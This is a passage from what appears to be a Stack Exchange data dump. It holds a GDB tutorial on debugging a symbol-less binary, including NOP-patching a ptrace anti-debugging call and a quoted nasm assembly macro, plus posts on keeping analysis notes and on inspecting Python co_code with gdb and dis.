&lt;code&gt;nexti&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;You can call actual library functions or even functions from within the debugged program using the command &lt;code&gt;call&lt;/code&gt;. This means you can try out behavior or force behavior.&lt;/li&gt;&#xA;&lt;li&gt;You can start GDB with &lt;code&gt;gdbtui&lt;/code&gt; or &lt;code&gt;gdb -tui&lt;/code&gt; to get a - supposedly more convenient - more visual text user interface. It shows the source code at the top and the &lt;code&gt;(gdb)&lt;/code&gt; prompt below. You can also switch to this layout by executing the command &lt;code&gt;layout src&lt;/code&gt; at the &lt;code&gt;(gdb)&lt;/code&gt; prompt.&lt;/li&gt;&#xA;&lt;li&gt;GDB has a command line completion feature much like many shells, so use &lt;kbd&gt;Tab&lt;/kbd&gt; to your advantage and also make sure to use &lt;code&gt;help&lt;/code&gt; or &lt;code&gt;help [keyword|command]&lt;/code&gt; whenever you are in need of help.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;shell&lt;/code&gt; allows you to execute commands in the shell, so that you can run commands from within your GDB session. During development an example would be &lt;code&gt;shell make&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;print&lt;/code&gt;, &lt;code&gt;examine&lt;/code&gt; and &lt;code&gt;display&lt;/code&gt; know various formats (&lt;code&gt;/FMT&lt;/code&gt;) which you can use to make the output more readable.&lt;/li&gt;&#xA;&lt;li&gt;When source-level debugging you can use C type casts to display values. Imagine a C string behind a &lt;code&gt;void *&lt;/code&gt; (which GDB knows thanks to the symbols in such case). Simply cast to &lt;code&gt;(char*)&lt;/code&gt; and print it: &lt;code&gt;print (char*)variable&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Getting the process to run&lt;/h2&gt;&#xA;&lt;p&gt;Since we want to dynamically analyze the binary, we need to start it first.&lt;/p&gt;&#xA;&lt;h3&gt;Command line&lt;/h3&gt;&#xA;&lt;p&gt;We can do that straight from the command line by passing not only the path to the binary, but also the arguments we want to start it with. The whole process then looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb --args ./exe argument1 argument2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Easy enough. From the &lt;code&gt;(gdb)&lt;/code&gt; prompt you can then issue the &lt;code&gt;run&lt;/code&gt; command (shorthand &lt;code&gt;r&lt;/code&gt;) to run &lt;code&gt;./exe&lt;/code&gt; with the parameters given on the command line. I prefer this method, but your mileage may vary.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1IOfY.png&quot; alt=&quot;Starting a process using the described method&quot; /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;GDB prompt&lt;/h3&gt;&#xA;&lt;p&gt;Fire up GDB and at the &lt;code&gt;(gdb)&lt;/code&gt; prompt use the &lt;code&gt;file&lt;/code&gt; command to load the binary and then use the &lt;code&gt;run&lt;/code&gt; command to start it with the arguments you want to pass:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb&#xA;(gdb) file exe&#xA;(gdb) run argument1 argument2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;an alternative to the above would be the use of &lt;code&gt;set args&lt;/code&gt; like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb&#xA;(gdb) file exe&#xA;(gdb) set args argument1 argument2&#xA;(gdb) run&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GVG6G.png&quot; alt=&quot;Starting a process using the described method&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can also see in any case which arguments &lt;code&gt;run&lt;/code&gt; would pass to the started process by issuing a:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) show args&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;btw: if you were wondering about environment variables, use GDB's built-in &lt;code&gt;help&lt;/code&gt; command as &lt;code&gt;help set&lt;/code&gt; and &lt;code&gt;help show&lt;/code&gt;. Pointers: &lt;code&gt;set environment VARNAME=VALUE&lt;/code&gt; and &lt;code&gt;show environment [VARNAME]&lt;/code&gt; and &lt;code&gt;unset environment VARNAME&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;Phew, but why does the program stop with a &lt;code&gt;SIGSEGV&lt;/code&gt; (segment fault)?&lt;/h2&gt;&#xA;&lt;p&gt;Well, we don't know yet, but it looks like this little beasty wants &lt;strong&gt;the proper treatment&lt;/strong&gt;. Since we practice defensive computing, we don't want to run anything we don't know much about, right? So let's start over. If this would have been malware we'd have to flush the machine and reinstall or restore a snapshot if it's a VM guest.&lt;/p&gt;&#xA;&lt;p&gt;First we'll want to run the &lt;code&gt;info&lt;/code&gt; command as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Observe:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4VTkn.png&quot; alt=&quot;info file command in GDB&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are two important pieces of information, the most relevant for us being the line stating:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Entry point: 0x400710&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;alright, so we can set a break point on that one and then &lt;code&gt;run&lt;/code&gt; the process with the arguments we fancy.&lt;/p&gt;&#xA;&lt;h2&gt;&lt;code&gt;.gdbinit&lt;/code&gt; for the win&lt;/h2&gt;&#xA;&lt;p&gt;But wait, this is getting tedious already. No easy method to automate these steps in some way? As a matter of fact there is. A file named &lt;code&gt;.gdbinit&lt;/code&gt; can be used to issue commands to GDB upon startup. You can also pass a file with GDB commands using the &lt;code&gt;-x&lt;/code&gt; argument on the (shell) command line. If I have a number of projects, usually they are in subfolders with a &lt;code&gt;.gdbinit&lt;/code&gt; file each.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Side-note:&lt;/strong&gt; &lt;code&gt;-nx&lt;/code&gt; prevents the &lt;code&gt;.gdbinit&lt;/code&gt; contents from being executed upon startup.&lt;/p&gt;&#xA;&lt;p&gt;So we know which arguments we want to pass and we know the address of the break point, this translates to the following &lt;code&gt;.gdbinit&lt;/code&gt; file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;file exe&#xA;break *0x400710&#xA;run argument1 argument2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The output I get when I start &lt;code&gt;gdb&lt;/code&gt; without any other arguments is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Breakpoint 1 at 0x400710&#xA;&#xA;Breakpoint 1, 0x0000000000400710 in ?? ()&#xA;(gdb) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Nice! But this looks different ...&lt;/p&gt;&#xA;&lt;h1&gt;Assembly and GDB&lt;/h1&gt;&#xA;&lt;p&gt;So you're used to see the next line you're going to execute and then your trusty old &lt;code&gt;(gdb)&lt;/code&gt; prompt. But no such thing. We have no source for this binary and furthermore symbols. Doh! So we contemplate the blinking caret at the &lt;code&gt;(gdb)&lt;/code&gt; prompt and wonder what to do. Don't fret, GDB can also handle assembly code. Only problem, it defaults to the - in my opinion - inconvenient AT&amp;amp;T assembly syntax. I prefer the Intel flavor and the following command tells GDB to do just that:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) set disassembly-flavor intel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Showings the assembly code&lt;/h2&gt;&#xA;&lt;p&gt;And how is it going to show us the assembly code? Well, similar to the TUI mode (check the tag wiki for &lt;a href=&quot;/questions/tagged/gdb&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;gdb&amp;#39;&quot; aria-label=&quot;show questions tagged &amp;#39;gdb&amp;#39;&quot; rel=&quot;tag&quot; aria-labelledby=&quot;gdb-container&quot;&gt;gdb&lt;/a&gt;) by using the following command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) layout asm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and if you are so inclined, also:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) layout regs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which will also show you the contents of the registers in an overview.&lt;/p&gt;&#xA;&lt;h2&gt;Let's run it again&lt;/h2&gt;&#xA;&lt;p&gt;So we end up with the following &lt;code&gt;.gdbinit&lt;/code&gt; for our purposes:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;file exe&#xA;break *0x400710&#xA;set disassembly-flavor intel&#xA;layout asm&#xA;layout regs&#xA;run argument1 argument2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And when we start &lt;code&gt;gdb&lt;/code&gt; without arguments we end up with this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nrirU.png&quot; alt=&quot;GDB with asm and regs layout&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sweet. So we can see the disassembly while we step through the code. We could conclude this here, but of course there are more tricks to be learned, so why not go a little further.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; the registers with white/gray background show that a value has changed. Not too meaningful when we just started the program, but mighty useful when stepping through code later on.&lt;/p&gt;&#xA;&lt;h3&gt;btw, if you prefer to save screen estate&lt;/h3&gt;&#xA;&lt;p&gt;... and have it less visual, starting with GDB 7.0 you can use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;set disassemble-next-line on&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;on GDB versions before that you can emulate the behavior by settings an &lt;a href=&quot;http://sourceware.org/gdb/current/onlinedocs/gdb/Auto-Display.html#Auto-Display&quot; rel=&quot;noreferrer&quot;&gt;automatic &lt;code&gt;display&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;display/i $pc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or shorter &lt;code&gt;disp/i $pc&lt;/code&gt; where &lt;code&gt;/i&lt;/code&gt; is the format, you can remember it best by thinking &amp;quot;instruction&amp;quot; and &lt;code&gt;$pc&lt;/code&gt; being the instruction pointer, also known as program counter - hence &lt;code&gt;pc&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Also good to know&lt;/h3&gt;&#xA;&lt;p&gt;Sometimes when stepping through assembly the &lt;code&gt;regs&lt;/code&gt; and &lt;code&gt;asm&lt;/code&gt; views will get borked. Simply execute the respective &lt;code&gt;layout&lt;/code&gt; commands again to restore them to their old glory:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) layout asm&#xA;(gdb) layout regs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1&gt;&amp;quot;Debugging&amp;quot; at assembly level&lt;/h1&gt;&#xA;&lt;p&gt;Turns out when you are in assembly mode some of the commands you are used to from source-level debugging simply won't work. That makes sense, because a single source line means usually a dozen instructions or more. The &lt;code&gt;next&lt;/code&gt; and &lt;code&gt;step&lt;/code&gt; commands, however, have &lt;a href=&quot;http://sourceware.org/gdb/onlinedocs/gdb/Continuing-and-Stepping.html&quot; rel=&quot;noreferrer&quot;&gt;instruction-level counterparts&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;nexti&lt;/code&gt; (shorthand &lt;code&gt;ni&lt;/code&gt; ... anyone else thinking of shrubbery?)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;stepi&lt;/code&gt; (shorthand &lt;code&gt;si&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;From our disassembly above we know:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x40072d        mov    rdi,0x40f961&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and for all practical purposes this is the &lt;code&gt;main&lt;/code&gt; function. Of course if you were to reverse engineer malware you should be more careful, but in this case it is. So let's add a breakpoint to this address (&lt;code&gt;0x40f961&lt;/code&gt;) instead of the entry point:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;break *0x40f961&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If we &lt;code&gt;examine&lt;/code&gt; (shorthand &lt;code&gt;x&lt;/code&gt;) the code at which we are currently, we can see:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/5i $pc&#xA;x/5i $pc&#xA;=&amp;gt; 0x40f961:    push   rbp&#xA;   0x40f962:    mov    rbp,rsp&#xA;   0x40f965:    mov    eax,0x0&#xA;   0x40f96a:    call   0x40911f&#xA;   0x40f96f:    pop    rbp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Okay, the &lt;code&gt;call&lt;/code&gt; is what we want to follow, so let's step inside of it using &lt;code&gt;si&lt;/code&gt;. We get to see another &lt;code&gt;call&lt;/code&gt; immediately at the instruction pointer when entering the function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/5i $pc&#xA;x/5i $pc&#xA;=&amp;gt; 0x40911f:    call   0x400b8c&#xA;   0x409124:    push   rbp&#xA;   0x409125:    mov    rbp,rsp&#xA;   0x409128:    push   r10&#xA;   0x40912a:    push   r11&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;call&lt;/code&gt; leads us to a function which calls &lt;a href=&quot;http://linux.die.net/man/2/ptrace&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;ptrace(PTRACE_TRACEME, ...)&lt;/code&gt;&lt;/a&gt;, now why would it do that?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x400bab        call   0x4006b8 &amp;lt;ptrace@plt&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Well, it's an old anti-debugger trick which Mellowcandle has described in another Q&amp;amp;A here:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1930/detecting-tracing-in-linux&quot;&gt;Detecting tracing in Linux&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;But how do we get around it? We'd have to overwrite the &lt;code&gt;call&lt;/code&gt; to the function which calls &lt;code&gt;ptrace()&lt;/code&gt; with &lt;code&gt;nop&lt;/code&gt; or something along those lines.&lt;/p&gt;&#xA;&lt;p&gt;This is where GDB becomes a little unwieldy. But we can use &lt;code&gt;set&lt;/code&gt; so do the magic for us. Let's first inspect the instruction bytes:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/10b $pc&#xA;x/10b $pc&#xA;0x40911f:       0xe8    0x68    0x7a    0xff    0xff    0x55    0x48    0x89&#xA;0x409127:       0xe5    0x41&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;0xe8&lt;/code&gt; is a call instruction and we know now that it is 5 bytes long. So let's &lt;code&gt;nop&lt;/code&gt; this out. (&lt;code&gt;x/10b $pc&lt;/code&gt; means examine 10 bytes at program counter - default format is hex already).&lt;/p&gt;&#xA;&lt;p&gt;So we do while stopped at &lt;code&gt;0x40911f&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) set write&#xA;(gdb) set {unsigned int}$pc = 0x90909090&#xA;(gdb) set {unsigned char}($pc+4) = 0x90&#xA;(gdb) set write off&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and verify the patched location:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/10i $pc&#xA;x/10i $pc&#xA;=&amp;gt; 0x40911f:    nop&#xA;   0x409120:    nop&#xA;   0x409121:    nop&#xA;   0x409122:    nop&#xA;   0x409123:    nop&#xA;   0x409124:    push   rbp&#xA;   0x409125:    mov    rbp,rsp&#xA;   0x409128:    push   r10&#xA;   0x40912a:    push   r11&#xA;   0x40912c:    push   rbx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Excellent. We can now execute it.&lt;/p&gt;&#xA;&lt;h2&gt;Alternatives to the given method&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;alternative for patching: &lt;code&gt;set {unsigned int}0x40911f = 0x90909090&lt;/code&gt; followed by &lt;code&gt;set {unsigned char}0x409123 = 0x90&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Manipulate the program counter (instruction pointer) instead:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;set $pc+=5&lt;/code&gt; or the more explicit &lt;code&gt;set $pc=$pc+5&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;jump *$pc+5&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Better ways yet to manipulate/patch the running program&lt;/h2&gt;&#xA;&lt;p&gt;There are alternative (and way superior) methods like &lt;a href=&quot;http://my.opera.com/taviso/blog/show.dml/248232&quot; rel=&quot;noreferrer&quot;&gt;this one by Tavis Ormandy&lt;/a&gt;. I'm reproducing the &lt;code&gt;assemble&lt;/code&gt; macro below (in case it goes offline from the other place):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;define assemble&#xA; # dont enter routine again if user hits enter&#xA; dont-repeat&#xA; if ($argc)&#xA;  if (*$arg0 = *$arg0)&#xA;    # check if we have a valid address by dereferencing it,&#xA;    # if we havnt, this will cause the routine to exit.&#xA;  end&#xA;  printf &amp;quot;Instructions will be written to %#x.\n&amp;quot;, $arg0&#xA; else&#xA;  printf &amp;quot;Instructions will be written to stdout.\n&amp;quot;&#xA; end&#xA; printf &amp;quot;Type instructions, one per line.\n&amp;quot;&#xA; printf &amp;quot;End with a line saying just \&amp;quot;end\&amp;quot;.\n&amp;quot;&#xA; if ($argc)&#xA;  # argument specified, assemble instructions into memory&#xA;  # at address specified.&#xA;  shell nasm -f bin -o /dev/stdout /dev/stdin \&#xA;    &amp;lt;&amp;lt;&amp;lt; &amp;quot;$( echo &amp;quot;BITS 32&amp;quot;; while read -ep '&amp;gt;' r &amp;amp;&amp;amp; test &amp;quot;$r&amp;quot; != end; \&#xA;                do echo -E &amp;quot;$r&amp;quot;; done )&amp;quot; | hexdump -ve \&#xA;        '1/1 &amp;quot;set *((unsigned char *) $arg0 + %#2_ax) = %#02x\n&amp;quot;' \&#xA;            &amp;gt; ~/.gdbassemble&#xA;  # load the file containing set instructions&#xA;  source ~/.gdbassemble&#xA;  # all done.&#xA;  shell rm -f ~/.gdbassemble&#xA; else&#xA;  # no argument, assemble instructions to stdout&#xA;  shell nasm -f bin -o /dev/stdout /dev/stdin \&#xA;    &amp;lt;&amp;lt;&amp;lt; &amp;quot;$( echo &amp;quot;BITS 32&amp;quot;; while read -ep '&amp;gt;' r &amp;amp;&amp;amp; test &amp;quot;$r&amp;quot; != end; \&#xA;                do echo -E &amp;quot;$r&amp;quot;; done )&amp;quot; | ndisasm -i -b32 /dev/stdin&#xA; end&#xA;end&#xA;document assemble&#xA;Assemble instructions using nasm.&#xA;Type a line containing &amp;quot;end&amp;quot; to indicate the end.&#xA;If an address is specified, insert instructions at that address.&#xA;If no address is specified, assembled instructions are printed to stdout.&#xA;Use the pseudo instruction &amp;quot;org ADDR&amp;quot; to set the base address.&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Again the above script snippet wasn't written by me, but by Tavis Ormandy - see the link above.&lt;/p&gt;&#xA;&lt;p&gt;This concludes this little Q&amp;amp;A.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2023-01-29T20:50:08.873" LastActivityDate="2023-01-29T20:50:08.873" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="1937" PostTypeId="1" AcceptedAnswerId="1940" CreationDate="2013-04-27T09:29:13.530" Score="13" ViewCount="1093" Body="&lt;p&gt;Since now, when I am analyzing a binary, I'm using a &quot;pen and paper&quot; method to locate the different location of the function, the different type of obfuscations, and all my discoveries. It is quite inefficient and do not scale at all when I try to analyze big binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that IDAPro is having a data-base to store comments and a memory zone, but, in case we do not want to use IDAPro, what techniques or (free) tools are you using to collect your notes and to display it properly ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="1536" LastEditDate="2013-04-27T14:17:07.297" LastActivityDate="2015-12-17T19:00:55.527" Title="How do you store your data about a binary while performing analysis?" Tags="|tools|binary-analysis|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1938" PostTypeId="2" ParentId="1937" CreationDate="2013-04-27T09:58:41.843" Score="4" Body="&lt;p&gt;When I work on a really complex project where I need to make a lot of structured notes, I often use &lt;a href=&quot;http://tiddlywiki.com/&quot; rel=&quot;nofollow&quot;&gt;tiddly wiki&lt;/a&gt;. The nice thing about it is that you can easily backup the wiki since it simply writes to its own html file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course &lt;a href=&quot;https://drive.google.com&quot; rel=&quot;nofollow&quot;&gt;Google Docs&lt;/a&gt;, which is especially useful if you're working collaboratively.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2013-04-27T09:58:41.843" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1939" PostTypeId="2" ParentId="1934" CreationDate="2013-04-27T10:10:27.797" Score="20" Body="&lt;p&gt;First, just a small reminder about &quot;what is &lt;code&gt;co_code&lt;/code&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Python, every element of the language (functions, methods, classes, ...) is defined and stored in an object. The &lt;code&gt;co_code&lt;/code&gt; is one of the fields attached to the class used to represent a function or a method.  Lets practice a bit with Python 2.7.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; python2.7&#xA;Python 2.7.3 (default, Mar  4 2013, 14:57:34) &#xA;[GCC 4.7.2] on linux2&#xA;Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.&#xA;&amp;gt;&amp;gt;&amp;gt; def foo():&#xA;...     print('Hello World!')&#xA;... &#xA;&amp;gt;&amp;gt;&amp;gt; dir(foo.__code__)&#xA;&#xA;['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', &#xA; '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', &#xA; '__new__',  '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', &#xA; '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', &#xA; 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', &#xA; 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']&#xA;&amp;gt;&amp;gt;&amp;gt; foo.__code__.co_code&#xA;'d\x01\x00GHd\x00\x00S'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, you can see that the &lt;code&gt;co_code&lt;/code&gt; field contain the compiled bytecode of the function we just defined previously. In fact, it seems that &lt;code&gt;co_code&lt;/code&gt; is just a buffer to store the compiled bytecode in a lazy manner. It is compiled only when it is accessed for the first time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming this, the &lt;code&gt;co_code&lt;/code&gt; is just a unified helper to access the bytecode which might be stored in several forms. One form are the &lt;code&gt;*.pyc&lt;/code&gt; files which are storing the compiled Python bytecode of a whole file. Another form is just the on-the-fly compilation of the function/method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, there is a way to access directly the function/method definition and, thus, to the bytecode. The point is to intercept the Python process with &lt;code&gt;gdb&lt;/code&gt; and analyze it. A few tutorials exists in the web about this (see &lt;a href=&quot;http://grapsus.net/blog/post/Low-level-Python-debugging-with-GDB&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;http://docs.python.org/devguide/gdb.html&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;http://www.jmcneil.net/2012/04/debugging-your-python-with-gdb-ftw/&quot;&gt;here&lt;/a&gt; or &lt;a href=&quot;http://chrismiles.livejournal.com/20226.html&quot;&gt;here&lt;/a&gt;). But, here is a quick example (you need to install the &lt;code&gt;python-gdb&lt;/code&gt; package first):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; python2.7-dbg&#xA;Python 2.7.3 (default, Mar  4 2013, 14:27:19) &#xA;[GCC 4.7.2] on linux2&#xA;Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.&#xA;&amp;gt;&amp;gt;&amp;gt; def foo():&#xA;...     print('Hello World!')&#xA;... &#xA;[40809 refs]&#xA;&amp;gt;&amp;gt;&amp;gt; foo&#xA;&amp;lt;function foo at 0x1a5e1b0&amp;gt;&#xA;[40811 refs]&#xA;&amp;gt;&amp;gt;&amp;gt; foo.__code__.co_code&#xA;'d\x01\x00GHd\x00\x00S'&#xA;[40811 refs]&#xA;&amp;gt;&amp;gt;&amp;gt; &#xA;[1]+  Stopped                 python2.7-dbg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you need to get the PID of the Python process and attach &lt;code&gt;gdb&lt;/code&gt; on it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb -p 5164&#xA;GNU gdb (GDB) 7.4.1-debian&#xA;...&#xA;Attaching to process 5164&#xA;Program received signal SIGTSTP, Stopped (user).&#xA;Reading symbols from /usr/bin/python2.7-dbg...done.&#xA;Reading symbols from /lib/x86_64-linux-gnu/libpthread.so.0...&#xA;Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/libpthread-2.13.so...done.&#xA;[Thread debugging using libthread_db enabled]&#xA;Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.done.&#xA;...&#xA;(gdb) print *(PyFunctionObject*)0x1a5e1b0&#xA;$1 = {_ob_next = 0x187aca0, _ob_prev = 0x189dd08, ob_refcnt = 2, &#xA;      ob_type = 0x87ce00, func_code = &amp;lt;code at remote 0x187aca0&amp;gt;, &#xA;      func_globals = {'__builtins__': &amp;lt;module at remote 0x7f5ebcb5e470&amp;gt;,&#xA;      '__name__': '__main__', 'foo': &amp;lt;function at remote 0x1a5e1b0&amp;gt;, '__doc__': None, &#xA;      '__package__': None}, func_defaults = 0x0, func_closure = 0x0, func_doc = None, &#xA;      func_name = 'foo', func_dict = 0x0, func_weakreflist = 0x0, &#xA;      func_module = '__main__'}&#xA;(gdb) print  (*(PyFunctionObject*)0x1a5e1b0)-&amp;gt;func_name&#xA;$2 = 'foo'&#xA;(gdb) print (*(PyCodeObject*)0x187aca0)&#xA;$3 = {_ob_next = 0x18983a8, _ob_prev = 0x1a5e1b0, ob_refcnt = 1, ob_type = 0x872680, &#xA;      co_argcount = 0, co_nlocals = 0, co_stacksize = 1, co_flags = 67,&#xA;      co_code = 'd\x01\x00GHd\x00\x00S', co_consts = (None, 'Hello World!'),&#xA;      co_names = (), co_varnames = (), co_freevars = (), co_cellvars = (),&#xA;      co_filename = '&amp;lt;stdin&amp;gt;', co_name = 'foo', co_firstlineno = 1,&#xA;      co_lnotab = '\x00\x01', co_zombieframe = 0x0, co_weakreflist = 0x0}&#xA;(gdb) print (*(PyCodeObject*)0x187aca0)-&amp;gt;co_code&#xA;$4 = 'd\x01\x00GHd\x00\x00S'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, here is the way to access directly the bytecode, given the address of the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to try to  be complete, the best documentation I found on Python bytecode (and how to access it), is the Python code itself and especially the &lt;code&gt;inspect&lt;/code&gt; module (&lt;a href=&quot;http://hg.python.org/cpython/file/2.7/Lib/inspect.py&quot;&gt;2.7&lt;/a&gt;, &lt;a href=&quot;http://hg.python.org/cpython/file/3.2/Lib/inspect.py&quot;&gt;3.2&lt;/a&gt;). Try to look at it, it is quite instructive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another help you can use is the &lt;a href=&quot;http://docs.python.org/2/library/dis.html&quot;&gt;&lt;code&gt;dis&lt;/code&gt; module&lt;/a&gt; that provide a disassembler for the Python bytecode. Here is an example of what can do this disassembler.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; python2.7&#xA;Python 2.7.3 (default, Mar  4 2013, 14:57:34) &#xA;[GCC 4.7.2] on linux2&#xA;Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.&#xA;&amp;gt;&amp;gt;&amp;gt; def foo():&#xA;...     print(&quot;Hello World!&quot;)&#xA;... &#xA;&amp;gt;&amp;gt;&amp;gt; import dis&#xA;&amp;gt;&amp;gt;&amp;gt; dis.dis(foo)&#xA;  2           0 LOAD_CONST               1 ('Hello World!')&#xA;              3 PRINT_ITEM          &#xA;              4 PRINT_NEWLINE       &#xA;              5 